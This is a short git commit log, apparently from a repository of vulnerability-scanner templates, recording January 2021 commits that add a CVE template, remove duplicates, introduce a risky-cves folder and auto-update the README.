Michael Henriksen	6ca9591c99	Remove .nuclei-ignore references to non-existent templates	2021-01-13 12:53:46 +01:00
Michael Henriksen	b528ce663c	Introduce a new risky-cves root folder The template for CVE-2020-16139 lived in `cves/` and was not ignored by default in .nuclei-ignore for a considurable time because of directory restructuring. The risky-cves root folder is introduced to make this mistake less likely to happen in the future.	2021-01-13 12:53:29 +01:00
team-projectdiscovery	6ee2e5873d	Merge branch 'master' of https://github.com/projectdiscovery/nuclei-templates	2021-01-13 13:02:10 +05:30
team-projectdiscovery	106da77fc3	Preparing for request clustering	2021-01-13 13:01:46 +05:30
GitHub Action	8427a7167c	Auto Update README [Wed Jan 13 07:11:04 UTC 2021] 🤖	2021-01-13 07:11:04 +00:00
team-projectdiscovery	b5159893d0	removing duplicate template	2021-01-13 12:40:31 +05:30
PD-Team	ae81785b2d	Merge pull request #749 from projectdiscovery/CVE-2020-9376 Adding CVE-2020-9376	2021-01-12 21:46:49 +05:30
GitHub Action	e401882391	Auto Update README [Tue Jan 12 16:16:29 UTC 2021] 🤖	2021-01-12 16:16:29 +00:00
team-projectdiscovery	d8fc0079d9	Adding CVE-2020-9376	2021-01-12 21:45:12 +05:30
GitHub Action	4001d8f967	Auto Update README [Tue Jan 12 07:58:38 UTC 2021] 🤖	2021-01-12 07:58:38 +00:00
team-projectdiscovery	33bc9f554a	readme updates	2021-01-12 13:27:56 +05:30
GitHub Action	77ae542dd1	Auto Update README [Tue Jan 12 06:24:23 UTC 2021] 🤖	2021-01-12 06:24:23 +00:00
team-projectdiscovery	389477dd28	removing duplicate template	2021-01-12 11:47:44 +05:30